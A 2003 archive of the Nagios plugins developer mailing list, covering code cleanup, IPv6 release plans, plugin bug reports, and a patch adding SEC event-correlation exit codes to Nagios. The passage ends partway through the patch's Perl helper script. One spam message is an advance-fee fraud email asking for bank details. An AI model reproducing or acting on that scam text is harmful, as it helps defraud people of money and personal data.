(Karl DeBisschop) Date: Sat Aug 9 06:24:02 2003 Subject: [Nagiosplug-devel] Re: code cleanup In-Reply-To: <20030809060959.GA24478@UnderGrid.net> References: <1060402238.14361.14.camel@miles.debisschop.net> <20030809042832.GB4518@UnderGrid.net> <1060405402.14361.16.camel@miles.debisschop.net> <20030809060959.GA24478@UnderGrid.net> Message-ID: <1060435334.1061.12.camel@miles.debisschop.net> On Sat, 2003-08-09 at 02:10, Jeremy T. Bouse wrote: > On Sat, Aug 09, 2003 at 01:03:22AM -0400, Karl DeBisschop wrote: > > On Sat, 2003-08-09 at 00:28, Jeremy T. Bouse wrote: > > > Karl, > > > > > > I'll take a look into it... BTW did we make any new pre-req's on the > > > minimum version for the autotools? I notice automake-1.4 has problems > > > and I know we made the AC_PREREQ(2.50) for autoconf do we need to do > > > something similar for automake? > > > > We know that 1.6 works -- earlier gets dicey. Is there a way to expess > > that prereq in configure.in or related files? > > > I'm not sure I'd have to check on that... I did install automake1.7 > and it worked fine here on Debian sid/unstable... > > BTW, what where you giving to test and get the errors so I can > duplicate what you're getting so I can work on this... I have an idea of > what will fix it but want to be sure... export CFLAGS="-g -O3 -pedantic -Wall -W -Wformat=2 -Wfloat-equal -Wtraditional -Wundef -Wshadow -Wpointer-arith -Wbad-function-cast -Wcast-qual -Wcast-align -Wwrite-strings -Wconversion -Wsign-compare -Waggregate-return -Wstrict-prototypes -Wmissing-prototypes -Wmissing-noreturn -Wmissing-format-attribute -Wnested-externs -Wunreachable-code -Winline" Then rerun configure, and then make. I'm going to check a file to do this (the export CFLAGS) into naggiosplug/tools - so just run ./tools/devmaode when you have your devloper hat on and you want to be really pedantic about compiler warnings. (even before this audit, our code was not too bad for warnings - having thses is sort of a OITA if all you want to do is build a package and run it - I can't work with this sort of aggressive checking day-to-day). You did successfully fix it. -- Karl DeBisschop From Mepoohbear12 at wmconnect.com Sat Aug 9 07:32:02 2003 From: Mepoohbear12 at wmconnect.com (Mepoohbear12 at wmconnect.com) Date: Sat Aug 9 07:32:02 2003 Subject: [Nagiosplug-devel] (no subject) Message-ID: <28.3c01150b.2c665fc0@wmconnect.com> Nagiosplug-devel Info Page Nagiosplug-devel Info Page -------------- next part -------------- An HTML attachment was scrubbed... URL: From nagios at nagios.org Sat Aug 9 11:33:11 2003 From: nagios at nagios.org (Ethan Galstad) Date: Sat Aug 9 11:33:11 2003 Subject: [Nagiosplug-devel] Re: Nagios plugins and IPv6 support In-Reply-To: <1060434737.1061.1.camel@miles.debisschop.net> References: <20030809061811.GC24478@UnderGrid.net> Message-ID: <3F34F780.32639.548E82E@localhost> On 9 Aug 2003 at 9:12, Karl DeBisschop wrote: > On Sat, 2003-08-09 at 02:18, Jeremy T. Bouse wrote: > > Karl, > > > > While writing my last email to you I was thinking... Should we not > > make some PR still news blurb on the plugins site or even possibly on > > Nagios about expecting full IPv4 and IPv6 support in the upcoming > > release? I really don't believe there is any open-source or commerical > > network monitoring service that has IPv6 support at all... Sorry if it > > sounds a lil marketing-ish as I just came back from spending a few days > > on the Linux World Expo 2003 show floor... I'd actually like to see if I > > couldn't possibly see Nagios/plugins and Firewall Builder two packages I > > maintain for Debian be able to give some display/demo at it next year to > > give it some more exposure... > > While I support doing it, I'd need to take a back seat in that effort - > I'm burning up all my time in this code review, and I still need to put > hi-res timing into a bunch of plugins, plus add perf data. > Just drop me a note if you think a news item should go on the Nagios site and I'll add it. We could link it to a more detailed page on the plugin website if people want more information. Ethan Galstad, Nagios Developer --- Email: nagios at nagios.org Website: http://www.nagios.org From karl at debisschop.net Sat Aug 9 17:20:16 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Sat Aug 9 17:20:16 2003 Subject: [Nagiosplug-devel] Re: Nagios plugins and IPv6 support In-Reply-To: <3F34F780.32639.548E82E@localhost> References: <20030809061811.GC24478@UnderGrid.net> <3F34F780.32639.548E82E@localhost> Message-ID: <1060474689.972.10.camel@miles.debisschop.net> On Sat, 2003-08-09 at 14:30, Ethan Galstad wrote: > On 9 Aug 2003 at 9:12, Karl DeBisschop wrote: > > > On Sat, 2003-08-09 at 02:18, Jeremy T. Bouse wrote: > > > Karl, > > > > > > While writing my last email to you I was thinking... Should we not > > > make some PR still news blurb on the plugins site or even possibly on > > > Nagios about expecting full IPv4 and IPv6 support in the upcoming > > > release? I really don't believe there is any open-source or commerical > > > network monitoring service that has IPv6 support at all... Sorry if it > > > sounds a lil marketing-ish as I just came back from spending a few days > > > on the Linux World Expo 2003 show floor... I'd actually like to see if I > > > couldn't possibly see Nagios/plugins and Firewall Builder two packages I > > > maintain for Debian be able to give some display/demo at it next year to > > > give it some more exposure... > > > > While I support doing it, I'd need to take a back seat in that effort - > > I'm burning up all my time in this code review, and I still need to put > > hi-res timing into a bunch of plugins, plus add perf data. > > > > Just drop me a note if you think a news item should go on the Nagios > site and I'll add it. We could link it to a more detailed page on > the plugin website if people want more information. We'll definitely want to post to the nagios site. This will be a very exciting release as we will have: 1) IPv6 2) NLS support 3) Major code cleanup, removing a slew of warning from the more pedantic settings of GCC (and also turning up a handful of now-fixed bugs, which of course was the motivation. I think we'll want to post the alphas reasonably prominantly becuase all these item result in big code changes that should be tested (I already only run 1.3.99, no 1.3.1 old code for me) I think what Jeremy is talking about would be a sort of press release that could go to places like LWN.net, etc. Also a posting to freshmeat, which we usually don't bother to do. Maybe the starting point is to generate a list of place where the notice of the release should be sent. -- Karl From jeremy+nagios at undergrid.net Sat Aug 9 21:26:02 2003 From: jeremy+nagios at undergrid.net (Jeremy T. Bouse) Date: Sat Aug 9 21:26:02 2003 Subject: [Nagiosplug-devel] Re: Nagios plugins and IPv6 support In-Reply-To: <1060474689.972.10.camel@miles.debisschop.net> References: <20030809061811.GC24478@UnderGrid.net> <3F34F780.32639.548E82E@localhost> <1060474689.972.10.camel@miles.debisschop.net> Message-ID: <20030810042316.GB19067@UnderGrid.net> I had mainly been saying we should atleast make some information available as there aren't really many network monitoring systems I've been able to find that support IPv6 and several people have posted mentioning IPv6 support after examining 1.3.1 and not checking CVS HEAD to see that AF-indepedent code is in there... Granted the Perl plugins still need to be looked at for AF-independent issues but the plugins written in C should be covered... Regards, Jeremy On Sat, Aug 09, 2003 at 08:18:09PM -0400, Karl DeBisschop wrote: > On Sat, 2003-08-09 at 14:30, Ethan Galstad wrote: > > On 9 Aug 2003 at 9:12, Karl DeBisschop wrote: > > > > > On Sat, 2003-08-09 at 02:18, Jeremy T. Bouse wrote: > > > > Karl, > > > > > > > > While writing my last email to you I was thinking... Should we not > > > > make some PR still news blurb on the plugins site or even possibly on > > > > Nagios about expecting full IPv4 and IPv6 support in the upcoming > > > > release? I really don't believe there is any open-source or commerical > > > > network monitoring service that has IPv6 support at all... Sorry if it > > > > sounds a lil marketing-ish as I just came back from spending a few days > > > > on the Linux World Expo 2003 show floor... I'd actually like to see if I > > > > couldn't possibly see Nagios/plugins and Firewall Builder two packages I > > > > maintain for Debian be able to give some display/demo at it next year to > > > > give it some more exposure... > > > > > > While I support doing it, I'd need to take a back seat in that effort - > > > I'm burning up all my time in this code review, and I still need to put > > > hi-res timing into a bunch of plugins, plus add perf data. > > > > > > > Just drop me a note if you think a news item should go on the Nagios > > site and I'll add it. We could link it to a more detailed page on > > the plugin website if people want more information. > > We'll definitely want to post to the nagios site. > > This will be a very exciting release as we will have: > > 1) IPv6 > 2) NLS support > 3) Major code cleanup, removing a slew of warning from the > more pedantic settings of GCC (and also turning up a > handful of now-fixed bugs, which of course was the > motivation. > > I think we'll want to post the alphas reasonably prominantly becuase all > these item result in big code changes that should be tested (I already > only run 1.3.99, no 1.3.1 old code for me) > > I think what Jeremy is talking about would be a sort of press release > that could go to places like LWN.net, etc. Also a posting to freshmeat, > which we usually don't bother to do. > > Maybe the starting point is to generate a list of place where the notice > of the release should be sent. > > -- > Karl > > > > > ------------------------------------------------------- > This SF.Net email sponsored by: Free pre-built ASP.NET sites including > Data Reports, E-commerce, Portals, and Forums are available now. > Download today and enter to win an XBOX or Visual Studio .NET. > http://aspnet.click-url.com/go/psa00100003ave/direct;at.aspnet_072303_01/01 > _______________________________________________ > Nagiosplug-devel mailing list > Nagiosplug-devel at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel > ::: Please include plugins version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From noreply at sourceforge.net Sun Aug 10 08:32:03 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Sun Aug 10 08:32:03 2003 Subject: [Nagiosplug-devel] [ nagiosplug-Bugs-773588 ] check_ntp vs Cisco & Solaris NTP responses Message-ID: Bugs item #773588, was opened at 2003-07-18 08:05 Message generated for change (Comment added) made by sghosh You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=773588&group_id=29880 Category: Parsing problem Group: v1.3.0 beta3 Status: Open Resolution: None Priority: 5 Submitted By: Brad Meier (knightorc) Assigned to: Subhendu Ghosh (sghosh) Summary: check_ntp vs Cisco & Solaris NTP responses Initial Comment: Found some Solaris machines that don't match against line 263's parsing of the reply from ntpq, they use a #, not * or o. Changed it to (\*|o|\#) instead of (\*|o) in the regex and its happy again, checked against Tardis on windows and xntpd on Linux and Solaris. Found another problem, tried against a cisco and it returned a - where the script expects l,u,m,b. Line 263 again. Changed ([lumb]+) to ([lumb-]+) Patch tested against Linux, Solaris, Windows (Tardis) and Cisco ntp's. ---------------------------------------------------------------------- >Comment By: Subhendu Ghosh (sghosh) Date: 2003-08-10 11:31 Message: Logged In: YES user_id=46572 I am looking at CVS HEAD and it looks like you are referring to line 272 - please verify. If adding # in the regex, then the overall ntpq loop needs to have memory because # implies "selected" but not among the top 6 peers selected for synchronization in ntpd from ntp.org. According to Solaris docs - # implies selected for synchronization but distance exceeds maximum This may be something that is not wanted under normal operation. If we want to match against # then it should only match if * or o are not present and generate a warning about maximum distance exceeded. Are there any links to Tardis docs about the use of tally codes? -sg ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=773588&group_id=29880 From noreply at sourceforge.net Wed Aug 13 09:18:04 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Wed Aug 13 09:18:04 2003 Subject: [Nagiosplug-devel] [ nagiosplug-Bugs-788142 ] check_ms_spooler fails with splice error Message-ID: Bugs item #788142, was opened at 2003-08-13 15:56 Message generated for change (Tracker Item Submitted) made by Item Submitter You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=788142&group_id=29880 Category: None Group: None Status: Open Resolution: None Priority: 5 Submitted By: Steve Hanselman (stevehan) Assigned to: Nobody/Anonymous (nobody) Summary: check_ms_spooler fails with splice error Initial Comment: This is in release 1.3.1 splice() offset past end of array at ./check_ms_spooler.pl line 319. This is possibly due to us having service definitions without descriptions: Sharename Type Comment --------- ---- ------- NETLOGON Disk Logon server share ADMIN$ Disk Remote Admin REPL$ Disk IPC$ IPC Remote IPC CDrom Disk C$ Disk Default share croot Disk SQL_Backups Disk E$ Disk Default share ExchInstall Disk PCCommon Disk connect$ Disk "Access to gateway connectors" G$ Disk Default share Roaming Disk BackupExec Disk Eroot Disk Address Disk "Access to address objects" Add-ins Disk "Access to EDK objects" HP8100 Printer HP LaserJet 8100 Series PCL 5e GFIMDat Disk MessDat1 Disk ACT Database Disk Technical Disk ACT Reports Disk tracking.log Disk "Exchange message tracking logs" SourceSafe Disk Resources Disk "Event logging files" MessDat Disk print$ Disk Printer Drivers Accounts Disk Homes Disk XeroxPha Printer Xerox Phaser 1235 Server Comment --------- ------- BDLTECH16 BDLTECH7 DECSERVER Brendata Backup Domain Controller & Test Server LINUX2 (mailgate) Samba 1.9.16p11 LINUX3 Samba Server on Linux3 PLUTO Samba 2.0.3 PRODNTSC1 Brendata Domain Controller PRODNTSC2 SALES1 SALES2 SALES3 SALES4 SALESXP TECH-PAUL TECH-RICHARD TECH5-XP Tech5-XP Workgroup Master --------- ------- BRENDATA PRODNTSC1 ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=788142&group_id=29880 From jasmine.chua at securecirt.com Thu Aug 14 06:49:39 2003 From: jasmine.chua at securecirt.com (Jasmine) Date: Thu Aug 14 06:49:39 2003 Subject: [Nagiosplug-devel] Difference btw nagios-plugins-1.3.0 and nagios-plugins-1.3.1 Message-ID: <200308142058.41025.jasmine.chua@securecirt.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi Anyone mind telling me what is the difference between nagios-plugins-1.3.0 and nagios-plugins-1.3.1? I tried reading the REQUIREMENTS file as well as README and ChangeLog, but they do not really tell me the difference. Where can I go about finding out? Cheers, Jasmine -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/O4d9NgvTa7Hj2AURArEWAKCanbo9Dx7NHePlEC3r3mp0JfY4hACfR5sH 6T+8OGVwEFxKoiPGQKWIn50= =INjY -----END PGP SIGNATURE----- From atonns at mail.ivillage.com Thu Aug 14 07:47:07 2003 From: atonns at mail.ivillage.com (atonns at mail.ivillage.com) Date: Thu Aug 14 07:47:07 2003 Subject: [Nagiosplug-devel] a plugin to check interface errors Message-ID: I'm wondering if someone has written a plugin to check for interface errors. I have already looked at check_ifoperstatus and check_ifstatus - and I've already got my own versions of them for SNMPv3. What I'm looking for is a way to detect interface errors. I've got some perl code I'm still working on, but the data storage is killing me. To explain: Basically, I'm walking the MIBs 1.3.6.1.2.1.2.2.1.14 (ifInErrors) and 1.3.6.1.2.1.2.2.1.20 (ifOutErrors) every 10 minutes and storing them each in an different rrd (a file named $hostname-$ifDescr.rrd). Then, I'm rrd fetching the last 60 minutes worth of data - if there's at least $warning_cnt errors in that time period, return warning. Finally, I'm rrd fetching the last 180 minutes (3 hrs) worth of data - if there's an error rate of at least $critical_rate per minute, return critical. I'm having problems with storing the rrd data with the RRDs perl module - I'm trying to simulate the data by pre-populating a rrd file with errors, and I'm getting a floating point results (instead of int). I'm using RRDtool 1.0.45. FWIW, my RRD create looks like this: RRDs::create ( $filename, "--start", $now - 60, "--step", "600", "DS:ifInErrors:COUNTER:600:U:U", "DS:ifOutErrors:COUNTER:600:U:U", "RRA:MAX:0.5:1:600", "RRA:MAX:0.5:1:150", ); Summary: 1) Has anyone written a plugin to check interface errors? 2) Has anyone had strange problems with RRDs and float/int problems? Thanks Tony -- "Computer science is as much about computers as astronomy is about telescopes" -- Edsger Dijkstra --------------------------------------------------------- Anthony Tonns, UNIX Administrator - atonns at mail.ivillage.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From jmarquart at planalytics.com Thu Aug 14 08:14:02 2003 From: jmarquart at planalytics.com (jmarquart at planalytics.com) Date: Thu Aug 14 08:14:02 2003 Subject: [Nagiosplug-devel] Difference btw nagios-plugins-1.3.0 and nagios-plugins-1.3.1 Message-ID: <85256D82.00517A25.00@mailhost.planalytics.com> the best method - is to use the "diff" tool try diff -ru ./nagios-plugins-1.3.0 ./nagios-plugins-1.3.1 This will enable you to view all changes - regardless of their documentation. -j Jasmine on 08/14/2003 08:58:37 AM To: nagiosplug-devel at lists.sourceforge.net cc: (bcc: John J. der Schalla Marquart/Planalytics) Subject: [Nagiosplug-devel] Difference btw nagios-plugins-1.3.0 and nagios-plugins-1.3.1 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi Anyone mind telling me what is the difference between nagios-plugins-1.3.0 and nagios-plugins-1.3.1? I tried reading the REQUIREMENTS file as well as README and ChangeLog, but they do not really tell me the difference. Where can I go about finding out? Cheers, Jasmine -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/O4d9NgvTa7Hj2AURArEWAKCanbo9Dx7NHePlEC3r3mp0JfY4hACfR5sH 6T+8OGVwEFxKoiPGQKWIn50= =INjY -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email sponsored by: Free pre-built ASP.NET sites including Data Reports, E-commerce, Portals, and Forums are available now. Download today and enter to win an XBOX or Visual Studio .NET. http://aspnet.click-url.com/go/psa00100003ave/direct;at.aspnet_072303_01/01 _______________________________________________ Nagiosplug-devel mailing list Nagiosplug-devel at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel ::: Please include plugins version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mm at elabnet.de Thu Aug 14 09:31:03 2003 From: mm at elabnet.de (Michael Markstaller) Date: Thu Aug 14 09:31:03 2003 Subject: [Nagiosplug-devel] a plugin to check interface errors Message-ID: <246BE4BBD2754248AD5C14E535004ABA2A3B9F@elab4.elabnet.com> I already tried the same with some similar approaches but failed. The data collection for mine into the rrd's is done by mrtg, then using the somehow only "very little working" check_rrdtool-0.3.pl to check the threshold. It works for my CPU-rrds but not for iferrors somehow.. I'd really appreciate if there'd be a _working_ check_rrd in future as with such a plugin several of these checks could be performed very easy. Michael -----Original Message----- From: atonns at mail.ivillage.com [mailto:atonns at mail.ivillage.com] Sent: Thursday, August 14, 2003 4:40 PM To: nagiosplug-devel at lists.sourceforge.net Subject: [Nagiosplug-devel] a plugin to check interface errors I'm wondering if someone has written a plugin to check for interface errors. I have already looked at check_ifoperstatus and check_ifstatus - and I've already got my own versions of them for SNMPv3. What I'm looking for is a way to detect interface errors. I've got some perl code I'm still working on, but the data storage is killing me. To explain: Basically, I'm walking the MIBs 1.3.6.1.2.1.2.2.1.14 (ifInErrors) and 1.3.6.1.2.1.2.2.1.20 (ifOutErrors) every 10 minutes and storing them each in an different rrd (a file named $hostname-$ifDescr.rrd). Then, I'm rrd fetching the last 60 minutes worth of data - if there's at least $warning_cnt errors in that time period, return warning. Finally, I'm rrd fetching the last 180 minutes (3 hrs) worth of data - if there's an error rate of at least $critical_rate per minute, return critical. I'm having problems with storing the rrd data with the RRDs perl module - I'm trying to simulate the data by pre-populating a rrd file with errors, and I'm getting a floating point results (instead of int). I'm using RRDtool 1.0.45. FWIW, my RRD create looks like this: RRDs::create ( $filename, "--start", $now - 60, "--step", "600", "DS:ifInErrors:COUNTER:600:U:U", "DS:ifOutErrors:COUNTER:600:U:U", "RRA:MAX:0.5:1:600", "RRA:MAX:0.5:1:150", ); Summary: 1) Has anyone written a plugin to check interface errors? 2) Has anyone had strange problems with RRDs and float/int problems? Thanks Tony -- "Computer science is as much about computers as astronomy is about telescopes" -- Edsger Dijkstra --------------------------------------------------------- Anthony Tonns, UNIX Administrator - atonns at mail.ivillage.com --- auto-converted to plaintext by ELAB4 From noreply at sourceforge.net Fri Aug 15 01:40:25 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Fri Aug 15 01:40:25 2003 Subject: [Nagiosplug-devel] [ nagiosplug-Bugs-788142 ] check_ms_spooler fails with splice error Message-ID: Bugs item #788142, was opened at 2003-08-13 15:56 Message generated for change (Comment added) made by stevehan You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=788142&group_id=29880 Category: None Group: None Status: Open Resolution: None Priority: 5 Submitted By: Steve Hanselman (stevehan) Assigned to: Nobody/Anonymous (nobody) Summary: check_ms_spooler fails with splice error Initial Comment: This is in release 1.3.1 splice() offset past end of array at ./check_ms_spooler.pl line 319. This is possibly due to us having service definitions without descriptions: Sharename Type Comment --------- ---- ------- NETLOGON Disk Logon server share ADMIN$ Disk Remote Admin REPL$ Disk IPC$ IPC Remote IPC CDrom Disk C$ Disk Default share croot Disk SQL_Backups Disk E$ Disk Default share ExchInstall Disk PCCommon Disk connect$ Disk "Access to gateway connectors" G$ Disk Default share Roaming Disk BackupExec Disk Eroot Disk Address Disk "Access to address objects" Add-ins Disk "Access to EDK objects" HP8100 Printer HP LaserJet 8100 Series PCL 5e GFIMDat Disk MessDat1 Disk ACT Database Disk Technical Disk ACT Reports Disk tracking.log Disk "Exchange message tracking logs" SourceSafe Disk Resources Disk "Event logging files" MessDat Disk print$ Disk Printer Drivers Accounts Disk Homes Disk XeroxPha Printer Xerox Phaser 1235 Server Comment --------- ------- BDLTECH16 BDLTECH7 DECSERVER Brendata Backup Domain Controller & Test Server LINUX2 (mailgate) Samba 1.9.16p11 LINUX3 Samba Server on Linux3 PLUTO Samba 2.0.3 PRODNTSC1 Brendata Domain Controller PRODNTSC2 SALES1 SALES2 SALES3 SALES4 SALESXP TECH-PAUL TECH-RICHARD TECH5-XP Tech5-XP Workgroup Master --------- ------- BRENDATA PRODNTSC1 ---------------------------------------------------------------------- >Comment By: Steve Hanselman (stevehan) Date: 2003-08-15 07:46 Message: Logged In: YES user_id=521347 The error was due to there being no entries on the print queue, but the real error that was causing the plugin to fail was the fact that it did not specify the inc location for the utils.pm include: use lib '/usr/local/nagios/libexec/' ; Added this and it worked. There is also an issue with check_wins.pl in that it used the old netsaint path (which happened to be valid on our system), so appeared to work, but this needs changing as well. ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397597&aid=788142&group_id=29880 From patrickb at buzzimage.com Fri Aug 15 13:12:09 2003 From: patrickb at buzzimage.com (Patrick Boucher) Date: Fri Aug 15 13:12:09 2003 Subject: [Nagiosplug-devel] check_ping plug-in Message-ID: <3F3D39A6.7050202@buzzimage.com> Running nagios on RedHat 9.0 I noticed a bug with check_ping. /bin/ping on RH9.0 outputs all messages on STDOUT and nothing on STDERR so checks for host unreachable and other error messages never come through and instead you get an UNKNOWN state instead. Parsing of the ping output for errors should be moved to the STDOUT loop and I think the STDERR loop could be safely removed. -- Patrick Boucher Technical Director Buzz Image Group Tel 514.848.0579 Fax 514.848.6371 - "1 out of 10 people understands binary, the other 1 doesn't." From paul_bello2000 at zwallet.com Fri Aug 15 20:46:04 2003 From: paul_bello2000 at zwallet.com (VICTOR EGOBIA) Date: Fri Aug 15 20:46:04 2003 Subject: [Nagiosplug-devel] URGENT BUSINESS ASSISTANCE Message-ID: DEAR SIR, Naturally,this proposal will come to you as a surprise since we have not met, permit me however. I am mr.victor egobia, Director of Contract Award Committee with the Federal Ministry of Civil Aviation (FMCA). By the virture of our positions and the power bestowed on us by the government, we carefully and deliberately over invoiced the value of some contracts that we awarded to some foreign contractors to the tune of US$18,500,000.= (Eighteen million, Five hundred thousand US Dollars) between 2001 TO 2002. Now the contracts have been fully executed and commissioned and payment have also been made to all the contractors who have successfully executed their contracts, the over invoiced sum of (US$18,500,000.=) is w hat we want to transfer out of our country for our use. Unfortunately, as Civil Servants, we are not permitted by law to operate foreign accounts, this has constituted a major hindrance to our success in transferring this fund! out of our country and to this end, my colleagues have mandated me to look for a honest and trust worthy foreign partner who will assist us to provide a foreign account to receive the fund on our behalf for our mutual benefit. Here we are seeking your assistance. My colleagues and I have agreed that the owner of the account will be compensated with (25%) of the total sum, if you will stand as the beneficiary of the fund. 65%) for we the officials involved, while (5%) will be used to settle any expenses incurred by both parties in the course of this transaction. Note that we have worked out our homework very well in our country, this transaction is safe and guaranteed 100% risk free. To effectively and efficiently get this fund transferred into the account, you will nominate for us, you are required to send to us by email the following: 1. THE NAME AND ADDRESS OF YOUR BANK 2. NAME OF THE BENEFICIARY OF THE ACCOUNT NUMBER 3. YOUR PRIVATE PHONE AND FAX NUMBER TO REACH YOU AFTER BUSINESS HOURS. With the above information, we will immediately seek approval of the fund on your behalf from the relevant authorities, including the FEDERAL MINISTRY OF FINANCE(FMF) which will allocate you or your company foreign exchange cover US$18,500.000.= for the immediate release of this fund into your Account by the CENTRAL BANK OF NIGERIA (CBN). We will visit you immediately we conclude this transaction to collect and invest part of our share into any viable business you may advise in your country. We will also buy industrial goods for a resale here in Nigeria. Please ensure to treat this matter in strict privacy as we have to protect our job as Civil Servants. I await your urgent responce. Yours faithfull. mr.victor egobia. From rouilj at cs.umb.edu Fri Aug 15 22:59:05 2003 From: rouilj at cs.umb.edu (John P. Rouillard) Date: Fri Aug 15 22:59:05 2003 Subject: [Nagiosplug-devel] SEC correlation patches for nagios Message-ID: <200308160557.h7G5vnBo009933@mx1.cs.umb.edu> Hello all: Sorry this took so long, but I have been very busy. Here are my patches to nagios to support SEC, the simple event correlator engine. With these changes you can define rules that: ignore high bandwidth usage while a system jumpstart is occuring. ignore warning level of http slowdowns while an indexing process is running. ignore interface status changes on certain ports of a switch untill three changes haave occurred in 5 minutes. The patch below adds two more exit values for the plugins to use: "OK_IGNORE" value 5 with no output from the plugin "ERROR_IGNORE" value 6 with no output from the plugin I have chosen exit status of 5 for "OK_IGNORE" and 6 for "ERROR_IGNORE". (It looks like code 4 is used internally for pending states, and I didn't want to use that number hence my choice of 5 and 6, upon looking at the code again, it appears that I was mistaken about the user of 4.) If nagios receives one of these new exit codes, it should not change the current state of the polled service based on the poll. The new status will be sent to it by a passive check command generated from sec. I want nagios to be a (almost) dumb poller and to let sec filter all the data. Using sec provides much better control over flap detection, and multiple service correlation. I said I wanted nagios to be an almost dumb poller. This is because I want nagios to poll at the retry_interval if there is a problem found by the plugin, and the regular check_interval otherwise. If sec_filter (or other plugin) exits with status 6, then nagios should poll at the faster retry interval. This allows sec to better determine the trouble the system is in, or more easily determine when the system recovers. I was having a problem with the services being polled going into a unknown state occasionally when sec was actively supressing a warning or error state. I am not sure why this was occuring and has so far evaded my efforts at identifying the problem. This problem occurred when I was (mistakenly) running an earlier version of the patch that used value 4 for the IGNORE_OK and value 5 for IGNORE_ERROR. The current patch uses 5 and 6, but I don't expect the problem will be resolved. If anybody who knows the internals of nagios better than I do can improve on the patch, please feel free. To the nagios developer(s) are you interested in this patch at all? The patch and sec_filter files are attached. The sec_filter file discusses how to set up sec and nagios to monitor the sec process and report if it goes down. You should be able to apply the patch to nagios-1.0 and 1.1. cd to the top of the nagios tree and run "patch -p1 < patch". sec_filter isn't perfect with respect to the default arguments. However I wanted to get this in circulation. If there are any questions, I will do my best to answer them. -- rouilj John Rouillard =========================================================================== My employers don't acknowledge my existence much less my opinions. -------------- next part -------------- --- ./base/checks.c.orig 2003-05-21 15:30:43.000000000 -0400 +++ ./base/checks.c 2003-06-05 20:45:10.000000000 -0400 @@ -665,7 +665,7 @@ } /* make sure the return code is within bounds */ - else if(queued_svc_msg.return_code<0 || queued_svc_msg.return_code>3){ + else if(queued_svc_msg.return_code<0 || queued_svc_msg.return_code>STATE_MAXIMUM_VALUE){ snprintf(temp_buffer,sizeof(temp_buffer),"Warning: Return code of %d for check of service '%s' on host '%s' was out of bounds.%s\n",queued_svc_msg.return_code,temp_service->description,temp_service->host_name,(queued_svc_msg.return_code==126 || queued_svc_msg.return_code==127)?" Make sure the plugin you're trying to run actually exists.":""); temp_buffer[sizeof(temp_buffer)-1]='\x0'; @@ -891,6 +891,16 @@ /* hey, something's not working quite like it should... */ else{ + if ( temp_service->current_state>=STATE_OK_IGNORE && + temp_service->current_state<=STATE_ERROR_IGNORE ){ + if(temp_service->check_type==SERVICE_CHECK_ACTIVE ) { + if(temp_service->current_state == STATE_OK_IGNORE){ + temp_service->next_check=(time_t)(temp_service->last_check+(temp_service->check_interval*interval_length)); + } else { + temp_service->next_check=(time_t)(temp_service->last_check+(temp_service->retry_interval*interval_length)); + } + } + } else { /* reset the recovery notification flag (it may get set again though) */ temp_service->no_recovery_notification=FALSE; @@ -1084,6 +1094,7 @@ if(obsess_over_services==TRUE) obsessive_compulsive_service_check_processor(temp_service,temp_service->state_type); } + } /* reschedule the next service check ONLY for active checks */ if(temp_service->check_type==SERVICE_CHECK_ACTIVE){ @@ -1101,6 +1112,8 @@ schedule_service_check(temp_service,temp_service->next_check,FALSE); } + if (temp_service->current_state < STATE_OK_IGNORE || + temp_service->current_state > STATE_ERROR_IGNORE ){ /* if we're stalking this state type and state was not already logged AND the plugin output changed since last check, log it now.. */ if(temp_service->state_type==HARD_STATE && state_change==FALSE && state_was_logged==FALSE && strcmp(old_plugin_output,temp_service->plugin_output)){ @@ -1131,6 +1144,7 @@ /* update service performance info */ update_service_performance_data(temp_service); + } /* current_state < STATE_OK_IGNORE */ /* break out if we've been here too long (max_check_reaper_time seconds) */ time(¤t_time); --- ./base/nagios.h.in.orig 2003-06-05 19:17:47.000000000 -0400 +++ ./base/nagios.h.in 2003-08-15 16:38:23.000000000 -0400 @@ -148,10 +148,14 @@ /****************** SERVICE STATES ********************/ +#define STATE_MINIMUM_VALUE -1 #define STATE_OK 0 #define STATE_WARNING 1 #define STATE_CRITICAL 2 #define STATE_UNKNOWN 3 /* changed from -1 on 02/24/2001 */ +#define STATE_OK_IGNORE 5 /* do not submit active result for processing, but state ok for scheduling purposes */ +#define STATE_ERROR_IGNORE 6 /* do not submit active result for processing, but state is not ok for scheduing purposes */ +#define STATE_MAXIMUM_VALUE 6 --- ./base/utils.c.orig 2003-06-05 19:18:34.000000000 -0400 +++ ./base/utils.c 2003-06-05 19:18:58.000000000 -0400 @@ -1172,7 +1172,7 @@ result=STATE_UNKNOWN; /* check bounds on the return value */ - if(result<-1 || result>3) + if(resultSTATE_MAXIMUM_VALUE) result=STATE_UNKNOWN; /* try and read the results from the command output (retry if we encountered a signal) */ -------------- next part -------------- #! /usr/bin/perl -w # NOTE: this is not embedded perl safe. # search for CHECKME to find things you may have to change. use strict; use Fcntl ':flock'; # import LOCK_* constants use Getopt::Long; # import argument parsing code # CHECKME - set your path to the nagios plugins libexec directory here. our $LIBEXECDIR = '/tools/nagios-1.0/libexec'; # import nagios support utilities. # CHECKME change to path to the directory containing your copy of utils.pm. use lib "/tools/nagios-1.0/libexec"; use lib "./libexec"; use utils qw(%ERRORS &print_revision &support); # CHECKME - include your path to the sec file here, or use the -O flag. # location of the file that sec is watching. our $opt_O='/var/run/nagios_to_sec'; our $passthrough = 1 ; # if 1 pass the exit status and data to nagios 